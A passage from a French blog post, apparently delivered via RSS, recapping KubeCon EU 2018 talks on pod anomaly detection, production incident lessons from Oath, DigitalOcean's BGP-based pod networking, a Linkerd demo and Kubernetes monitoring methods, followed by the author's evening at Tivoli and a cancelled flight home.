&gt;&lt;strong&gt;Understanding Distributed Consensus in etcd and Kubernetes&lt;/strong&gt;&lt;/a&gt;« , mais, joie des confs multitrack, il n’y avait plus de place dans l’amphi et je me suis fait refouler ! Dommage, j’avais vraiment envie de mieux comprendre &lt;strong&gt;etcd&lt;/strong&gt;, qui pour beaucoup est une bonne grosse boite noire, ce qui est gênant vu le rôle central qu’il joue dans K8s&amp;hellip; Je suis donc allé dans l’amphi d’à côté pour voir :&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/e8/%5Bkubecon%5D%5BKopenhagen-2018%5D%20Kubervisor.pdf" target="_blank" rel="noopener"
&gt;Pod Anomaly Detection and Eviction using Prometheus Metrics - David Benque &amp;amp; Cedric Lamoriniere, Amadeus&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Deux personnes de chez Amadeus (avec un accent bien Français ;p) nous ont présentés les problématiques posées par le loadbalancing d’applications fortement dépendantes les unes des autres.&lt;/p&gt;
&lt;p&gt;Le pitch du talk était qu’un loadbalancing basique ne permet pas, dans ce genre de cas, d’éviter un effet papillon (un noeud défectueux provoque une panne en cascade). Pour améliorer leur stabilité, les ingénieurs chez Amadeus ont donc recours aux techniques suivantes :&lt;/p&gt;
&lt;p&gt;Pour toutes les commnucations inter-microservices, l’utilisation d’un service mesh (Linkerd, istio.io), permettant un loadbalancing plus intelligent, avec des circuit breaker avec du routage intelligent et des fonctionnalités de type open/close/half-open en cas de défaillance.&lt;/p&gt;
&lt;p&gt;Pour limiter l’impact d’une panne, ce service mesh leur permet aussi de prendre des décisions en fonction de signaux techniques (consommation mémoire, nombre de connexions).&lt;/p&gt;
&lt;p&gt;Cependant, les produits existants ne répondaient toujours pas à l’ensemble de leur problématiques, et ils ont donc  présenté &lt;strong&gt;Kubevisor&lt;/strong&gt;, une solution de détection d’anomalies dans les &lt;strong&gt;Pods&lt;/strong&gt;, qui permet entre autre de gérer directement dans Kubernetes des notions de « circuit breaking » par application et avec des règles complet (une partie breaker, une partie activator) via des CRD (custom resources definitions).&lt;/p&gt;
&lt;h3 id="101-ways-to-break-and-recover-kubernetes-clusters"&gt;101 ways to Break and Recover Kubernetes Clusters
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/b2/%E2%80%9CBreak%20and%20Recover%E2%80%9D%20Kubernetes%20Cluster%20and%20Application.pdf" target="_blank" rel="noopener"
&gt;101 Ways to “Break and Recover” Kubernetes Cluster - Suresh Visvanathan &amp;amp; Nandhakumar Venkatachalam, Oath (Yahoo) &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Deux personnes de chez Oath (Ex Yahoo) nous ont fait une liste à la Prévert de tous les problèmes qu’ils ont rencontré en production, et les mécanismes qu’ils ont mis en place pour éviter que ça se reproduise.&lt;/p&gt;
&lt;p&gt;Si l’intention était bonne, la présentation était très rapide et un peu décousue (trop de cas, on passait trop rapidement d’une slide à l’autre).&lt;/p&gt;
&lt;p&gt;Quelques cas qui ont retenu mon attention :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Un ingénieur qui exécute « &lt;strong&gt;kubectl delete -f /dir&lt;/strong&gt; » et qui supprime par erreur un namespace. Un des méthoes pour éviter ça est d’utiliser un &lt;strong&gt;Admission controller&lt;/strong&gt; pour interdire la suppression d’un namespace s’il reste des objets dedans.&lt;/li&gt;
&lt;li&gt;Deux &lt;strong&gt;Ingress&lt;/strong&gt; déclarent le même alias (on se retrouve donc avec un genre de loadbalancing chelou qui bascule une requête sur deux sur des services qui n’ont rien à voir). Là encore, le plus simple est d’utiliser un &lt;strong&gt;Admission controller&lt;/strong&gt; pour éviter que ça n’arrive.&lt;/li&gt;
&lt;li&gt;Suite à un bug sur les cgroup, tous les nœuds sont passés « Not ready » (alors que les pods fonctionnaient toujours) et ont supprimé tous les pods (eviction queue). Il existe un « Partial Disruption mode », qui permet d’éviter de tout supprimer alors que les nodes ?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="digital-ocean"&gt;Digital ocean
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/15/Global%20Container%20Networks%20-%20KubeCON%20EU%202018.pdf" target="_blank" rel="noopener"
&gt;_Global Container Networks on Kubernetes at DigitalOcean - Andrew Sy Kim, DigitalOcean _&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un talk bien costaud sur la façon dont Digital Ocean utilise **&lt;em&gt;BGP&lt;/em&gt; **comme couche d’abstraction réseau pour Kubernetes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wait&amp;hellip; what ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Au début, j’étais un peu sceptique aussi. Leur problème initial était que dans leur cas, les abstractions de réseau existantes étaient :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;trop lentes pour certaines applications (overhead, latence)&lt;/li&gt;
&lt;li&gt;Le NAT/masquerading des IPs des pods empêche les développeurs de connaitre
&lt;ul&gt;
&lt;li&gt;dans le pod, l’adresse de la source&lt;/li&gt;
&lt;li&gt;depuis un client, l’adresse IP du pod qui a répondu&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Au final, l’utilisation de BGP (pas détourné, mais peu commun on va dire) pour fournir un plan d’adressage global, aussi bien pour leurs serveurs physiques que pour leurs pods dans &lt;strong&gt;tous leurs DCs&lt;/strong&gt; permet à Digital Océan d’avoir un réseau virtuel performance et d’avoir une IP accessible de manière globale pour chaque pod.&lt;/p&gt;
&lt;p&gt;Au delà de la partie peering des équipements et des serveurs dans le DC (intéressant), il existe une implémentation de BGP pour Kuernetes (&lt;a class="link" href="https://github.com/cloudnativelabs/kube-router" target="_blank" rel="noopener"
&gt;Kube-router&lt;/a&gt;) qui support eBGP/iBGP, le peering automatique BGP pour les services et les pods.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/kuberouter.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Cerise sur le gâteau, ils se sont rendu compte après coup qu’avec cette implémentation du réseau ils pouvaient (via des External IPs) rendre directement accessible sur Internet des pods, en fonction de l’endroit où vous êtes sur le globe et via la même IP.&lt;/p&gt;
&lt;p&gt;2ème cerise sur le gâteau, ils ont simplifié grandement leur gestion du DNS, en ajoutant une délégation pour que tous les services Kubernetes (de type monservice.monnamespace.cluster.local) puissent être résolus et accessibles depuis le réseau Digital Ocean, &lt;strong&gt;même en dehors de Kubernetes&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="linkerd"&gt;Linkerd
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/4e/Linkerd%20Intro.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Linkerd Intro – Andrew Siegner &amp;amp; George Miranda, Buoyant.io&lt;/em&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un démonstaction en live de Linkerd (service mesh), focalisée sur la partie loadbalancing / circuit breaker.&lt;/p&gt;
&lt;p&gt;C’est simple, ça marche super bien, mais j’ai été vachement refroidi par le présentateur quand quelqu’un lui a demandé quels étaient les avantages de Linkerd par rapport aux autres solutions a dit :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Linkerd, c’est puissant et stable, mais ça consomme beaucoup de ressources (1Go de RAM). On est en train de réécrire complètement le produit (Conduit). Si vous avez besoin d’un service mesh vraiment aujourd’hui et en production, Linkerd est super. Mais sinon, dans 2 mois on sort une version stable de Conduit. Le mieux, c’est d’attendre Conduit.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J’étais un peu sidéré&amp;hellip; mais mes collègues m’ont confirmé que je n’avais pas rêvé.&lt;/p&gt;
&lt;h3 id="reveal-your-deepes-metrics"&gt;Reveal your deepes metrics
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/11/20180503%20KubeCon%20EU%20-%20Kubernetes%20Metrics%20Deep%20Dive.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Reveal Your Deepest Kubernetes Metrics - Bob Cotton, Freshtracks.io&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un talk très sympa par Bob Cotton de Freshtracks.io. Je ne sais pas si c’était volontaire ou pas, mais il n’a pas du tout parlé de sa société (startup dans le monitoring K8s et prometheus, co-fondateur) et est rentré directement dans le vif du sujet : les métriques. On a vraiment senti que c’était un passionné par ce sujet, c’était très fluide malgré une masse d’information conséquente.&lt;/p&gt;
&lt;p&gt;Comment déterminer quelles métriques sont importantes ?&lt;/p&gt;
&lt;p&gt;Je ne savais pas que ça existait, mais il existe des méthodes pour classifier les métriques pour mesurer l’état de santé d’un service ou d’un cluster :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Four golden signals (Latency / Errors / Traffic / Saturation)&lt;/li&gt;
&lt;li&gt;USE method  (Utilization / Saturation / Errors) réservée aux composants physiques (machine virtuelle) ou fonctionnels (serveur Apache)&lt;/li&gt;
&lt;li&gt;RED method (Rate / Errors / Duration) pour les applications&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;USE is for Resources&lt;br&gt;
RED is for Services&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne vais pas tout détailler ici car c’était très dense, mais le support est à lire si vous devez mettre en place une solution de supervision pour votre application (quelle soit hébergée sur Kubernetes ou pas d’ailleurs).&lt;/p&gt;
&lt;h2 id="et-pour-finir-la-journée-"&gt;Et pour finir la journée ?
&lt;/h2&gt;&lt;p&gt;Pour ne pas nous assommer de Keynotes à nouveau, les organisateurs de la Kubecon avaient prévu une « soirée » à Tivoli Gardens. C’est un genre de parc d’attractions / fête foraine permanente en plein centre de Copenhague.&lt;/p&gt;
&lt;p&gt;L’occasion de réseauter pour les plus studieux, ou juste de faire quelques manèges. C’était très sympa ;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180503_183546-2.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180503_185350_HDR.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;h2 id="et-vendredi-"&gt;Et vendredi ?
&lt;/h2&gt;&lt;p&gt;Il ne vous aura pas échappé que la Kubecon dure 3 jours. Malheureusement pour moi&amp;hellip; mes amis gréviste de chez Air France ont décidé pour moi que je ne participerai pas au vendredi, en annulant mon Copenhague Paris et en me proposant comme seule et unique solution de passer ma journée de les aéroports (Zurich et Charles de Gaulle notamment).&lt;/p&gt;
&lt;p&gt;Un peu dégoûté mais bon&amp;hellip; C’est la vie ;-)&lt;/p&gt;</description></item></channel></rss>